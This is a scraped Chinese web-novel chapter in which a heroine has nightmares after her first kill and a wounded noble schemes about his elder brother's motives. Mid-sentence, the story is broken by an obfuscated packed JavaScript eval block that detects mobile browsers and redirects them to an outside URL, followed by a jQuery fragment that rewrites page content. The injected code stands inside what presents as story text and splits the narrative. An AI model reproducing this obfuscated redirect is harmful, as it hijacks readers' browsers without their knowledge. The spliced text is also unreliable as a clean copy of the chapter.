默认冷灰
24号文字
方正启体

10. 第 10 章

作者:枭仪本书字数:K更新时间:
    那晚宋清词还是起高热了。


    她终于梦到了些不一样的东西,她梦到自己当夜杀的第一个人,梦到那人脖颈上碗口大的刀疤,梦到所有刺客像见鬼一样望向她的眼神。


    他们像是在看一个屠戮者一样,在看她。


    明明他们才是……


    身体对杀人的恐惧吞噬了她所有理智,那些她在清醒时极力掩盖的声音,终究还是来到了梦里,难缠地在她耳边反复质问:


    -你杀了人,手上沾了血,是不是代表……你和他们是一样的人了?


    -如今你与那些你痛恨的人,那些杀人不眨眼的恶魔,都一般无二了?


    -今夜那一刀斩断的头颈,那一片血雾,和当年平安县惨遭屠城时有什么两样?


    陷在梦中的人儿痛苦地蹙起眉来,想要控制身体醒来却做不到,四肢像被镶在床上一样沉重,她知道没人能来帮帮她,却还是无助地嘤咛出声。


    “词儿乖,阿母在,不疼了。”


    温柔又带着些倦意的声音萦绕在耳边,一只厚重温热的大手轻轻拍在她的身上,安抚着少女的身体和灵魂。


    “阿母在呢,弟弟也在呢,什么事都不会再有了。”对方呢喃道,“没有什么人再能欺负词儿了。”


    “我的词儿是天底下最好最好的姑娘,好孩子,阿母拍一拍就不疼了。”


    少女布满汗珠的苍白脸色渐渐恢复红润,颤抖的浓睫也安分下来,妇人用热帕子为她一下又一下地擦拭面庞,不厌其烦地抚平她拧紧的眉头。熟悉的手掌和温度,令梦中人无意识地眼角湿润,泪珠在夜幕中悄然滑进枕头。


    其实她对现实中的境况感受得并不真切,可是那道力量太暖太暖,暖到足以将堕入混沌之人拉回来,让她这许多年来积攒的坚定信念重新主导自己的内心。


    梦境中,少女合着眸子盘膝而坐,任由无数道尖锐惨叫充斥在周身,脸上也没再流露惊恐焦躁的神色。


    她只在梦中如是道:“别再扰我心神了,我阿母在呢。我想睡个好觉。”


    又道:“我与那些野蛮屠戮之人从不是一类,满手鲜血不是我的本意。”


    “但——武为止戈,我勤学苦练十六年,不是为了屈服于暴力的。”


    -


    今夜的城南别院不似往常那般幽寂,为裴肆之缝合伤口的医官直至下半夜才离去,临走前帮其卧房熄了灯,轻手轻脚将门掩上,才朝门外等着的宋府家将道:“这位爷是个能忍的,伤口那么深,缝合起来颇费功夫,他硬是一声没吭,倒是颇有我们军中将士的风范!我动刀之前瞧他那张脸,还以为是什么娇气的公子哥呢,没想到等我包扎完,就是写个药方的功夫,这人就睡着了……”


    交谈的声音越来越远。黑漆漆的卧房内,榻上的男人敞着衣襟仰面躺着,平和的神情和轻缓的呼吸似乎在证实他已然陷入熟睡,连窗外的寒风呼喝都没令他有所反应。


    只是不知从哪一阵寒风开始,这屋子里又多了一道呼吸。


    “阁下一身血腥气,就没必要再躲藏了吧。”裴肆之微微睁眼,眼中杀意弥漫。


    来者原本隐匿在房间角落,闻声才近前两步,月光透过窗棂映在他身上,使裴肆之瞧清他这一身裴家特制的暗卫劲装,他单膝跪下去,低哑的嗓音带着些许恭敬:“小人行风,奉大公子之命,暗中北上护送四公子周全,令四公子受惊了。”


    裴肆之打了个哈欠,随手扯了个枕头靠在身后,动作间胸前蜿蜒的陈年刀疤又多裸露几分,“等你来护爷周全,爷都不知道死了几个来回了。”


    行风的眼里并没有受到责问的恐慌,仍旧微垂着眸,“四公子遇袭时,小人虽有所察觉,但也被那一路杀手追溯到了踪迹,不得已只好先行改道,想着甩开对方后再与四公子回合,奈何对方对地形极为熟悉,小人这才误了时机。等寻到您时,您已然被带上了宋家马车。办事不利之罪,请四公子责罚。”


    “说笑了,你是我大哥的人,我怎么好意思罚你。”裴肆之嘴角噙笑,“行风啊,这名字我记得,我大哥难得培养出个杀人的好材料,捧得跟眼珠子似的在父亲面前夸赞连连,如今竟还舍得放你出来护我,我怎么能不领情呢?”


    行风道:“临行前,大公子曾说,他只有您一个弟弟了,自然是要倾尽所有、用心看护的。”


    此话一出,两人间那根微妙的弦霎时崩断,榻上的男人脸上失去了一贯的笑,连讽刺嘲弄的神色也不再有,外头的寒风撞击窗户阵阵作响,他整个人都居于黑夜中,未开口的片刻里像是根本不存在于这一方天地里,如果行风这时敢抬头,就能看到裴肆之投来的目光已经像在看一个死人了。


    “行风啊,近前来。”


    对方应声上前跪地,裴肆之拍了拍他的肩,云淡风轻道:“对幽州的明枪暗箭留神些,父亲和大哥看重你,你可得完好无缺地回去。”


    行风似要抱拳谢他,可肩膀又被裴肆之更用力地压下去,像是要沿着骨缝把他拆了,疼得行风顿时脸色煞白,不等开口,裴肆之又道:“别在这就把命丢了。”


    行风闭眼忍着痛,咬紧牙关道:“四公子想何时离开此地?小人既然寻到您了,定舍命送您出去。”


    裴肆之松了手,目光掠过窗外巡视的几个人影,悠哉得仿佛从未动气:“急什么?吃了这么大一个暗亏,怎么能就这么放过他们。宋太守把我安置在自家的别院里,应是对我的身份有了猜测,想摆脱刺杀我的嫌疑。我大可以承了他的情,在养好伤之前把截杀我的人找出来,把仇报了,也好一身轻松地回去。”


    他睨着行风,继续道:“外面巡视的宋家家仆不是等闲之辈,想混进来应当不大容易,你是跟着我的马车进来的?”


    行风答道:“是,此宅的配备比想象中严密颇多,进出不易,但若是四公子有需要,小人愿受四公子差遣。”


    “受我差遣,合适吗?你可是我大哥的人。”


    “小人虽在大公子跟前办事,但自幼受裴家教养,裴家人便都是小人的主子。”行风扬起头,“再者说,为您扫除祸患,也有利于大公子交代给小人的任务。”


    “这话说的也在理,那你就等我的消息吧。”裴肆之手指轻轻叩击着床沿,目光审视着对方,不经意地问起:“我听徐子猷说,原先的青州统帅一家子都死了。按理说大哥如今升任兖州牧,怎还有闲暇管我青州的事?可别累着他了。”


    行风沉默了片刻,才面无表情道:“大公子吩咐下去的事,小人怎敢揣测其中用意?想必是那一家子仍不安分,大公子怕影响了四公子对青州军的交接吧。”


    裴肆之哑然失笑,不再言语。


    他今年入秋刚随父亲凯旋还朝,朝廷为了解决青州农民起义猖獗之事,特设青州军统帅一职封赏于他。这于旁人而言或许不是个美差,可对裴肆之来说却是个能摆脱裴家军的好机会,若他能完全掌控青州军,日后便可不再事事受制于父兄。


    整个秋季,裴肆之都在一步步交接地方军权,把往年跟着自己出征的亲信也编入地方军笼络军心,如今眼看着青州军上下人心向他,裴家大公子裴羡之就派人把原先的统帅一家杀个干净。


    前去灭门的定是明晃晃的裴家人,而在外人眼里能与先统帅有利益冲突的也只有裴肆之,所以徐子猷才那般笃定地当面指责他。


    他的好大哥哪里是怕影响他对青州军的交接……他是生怕他交接得太好。


    对青州掌握太好,不受制于裴家一道接着一道的军令,那还有谁会不顾功名地托举他裴羡之,托举这个裴家继承人成为东朝的继承人。


    毕竟,大哥只有裴肆之这一个弟弟了。


    屋外似有脚步声越来越近,裴肆之敛下眺望的目光,对身旁的行风轻声道:“你先走吧,需要你时自会找你。”


    行风起身,“公子保重。”随后便翻窗而跃,消失在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480520|185618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    夜色里。


    门外的宋屹恰在此刻推开门,将煮好的汤药送进来,瞧见裴肆之好端端地坐在那,宋屹一脸喜色,“你醒了?果然如姜医官所说,是个好体魄的汉子!我方才还和弟兄们说手脚轻一点,免得把你吵醒了来着!”


    来人的热情似乎冲淡了这屋子里原有的苦涩,裴肆之抬头瞧着这个和自己年纪相仿、肤色黝黑体型壮硕的少年人,难得说不出刻薄的话来,只问道:“你是?”


    宋屹把烛灯点上,又把汤药端给他,“我是这院里的管事,你叫我宋屹就成了!你在城南别院的饮食起居都由我照看,你放心,来了就是一家人,我们不会薄待你的!”


    裴肆之低头,将汤药一饮而尽。


    宋屹脸上净是爽朗的笑,“对,喝了药,再睡一觉,没什么伤是好不了的!你就安心在这歇着吧,有什么需要随时叫我就成了,我就在西边那个屋子住,离你不远!”


    裴肆之点点头。


    宋屹想了想,又问:“你爱吃甜的还是咸的?有没有特别忌口的?吃不吃辣?我们院里的辣味卤菜做得可香了,夫人经常冲着这一口特意来别院吃饭呢,你要是愿意,明早我给你露一手!”


    裴肆之弯了弯唇角,客气应了声:“都好。”


    宋屹见他面色发白,担心自己话太多会打扰他休息,又嘱咐了两句,便手脚麻利地收了碗退出门去了。门口等着的两个弟兄见状连忙跟上宋屹的步子,追问道:“如何?”


    “如何呀屹哥,是个好性子的吗?有没有什么忌讳?”


    “看着是位随和的小郎君。”宋屹扬起头,有些骄傲,“说起来,咱家姑娘都多久没有往家里领客人了?自打林公子他们一个个地离开襄平,咱家姑娘就没再结交什么同龄的好友了,终于来个生面孔,明个我得亲自下厨。”


    其中一个家将道:“那我明个把我屋里的木轮车送给他,万一他想出来晒太阳又行动不便,兴许能用得上呢!”


    “那我把……”另一个家将忽而想到,“可是我听说,这是刚从辽东大牢里接出来的囚犯啊……这能成咱们姑娘的好友吗?”


    “瞅你这脑瓜子,能接出来,当然是清白的了!”宋屹持反对意见,“若是个坏心眼的,怎么能送进咱们别院,又叫咱们好生看顾不得怠慢?哎,可惜刚刚送来的时候他们也没交代太多……”


    “你这脑瓜子,就别说旁人了。”远远的一声笑骂传来,三人闻声瞧了一眼便立马躬身抱拳道:“嶙总管。”


    宋嶙大步而来,伸手免了几人的礼,朝着为首的宋屹道:“主君担忧裴公子的伤,遣我过来看看。”


    “医官说他伤势虽重,但身体的底子不错,好生修养几日就能正常行走了。这会儿刚服了药睡下。”宋屹道:“去主宅回禀的弟兄已经在路上了,深更半夜的,嶙哥怎么亲自过来?”


    宋嶙横了他一眼,“你满心思都是给人家做卤菜,我还以为你不记得回禀了呢!”


    宋屹有些不好意思,憨笑了声,“大规矩怎么能忘!嶙哥又笑话我了。”


    宋嶙饶有兴致地道:“看你们这样子,是准备好怎么招待了?”


    旁边的小子咧嘴笑道:“咱们屹哥不仅武艺难逢敌手,这一手好菜同样是鲜有对手,院里难得来了个客人,我们便想着把自己拿手的都给他瞧瞧,可不能给咱辽东宋家丢脸!”


    “是该如此。”宋嶙笑道,“虽说裴公子来辽东的目的尚不明确,但来者是客,我看主君的意思,就是我们尽力而为,别叫人家离开后说咱们宋家的不是。”


    “这是自然!这礼节我们都是懂的!”


    末了,宋嶙又道,“主君说,若是有人入府探望,只要裴公子没意见,便不必过加阻拦。唯有一点,切不可让人在府中伤了裴公子。”


    宋屹想了想方才推门时隐约听到的声响,爽快一笑,“知道了,嶙哥!”


    自己的脑瓜子果然没那么笨。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)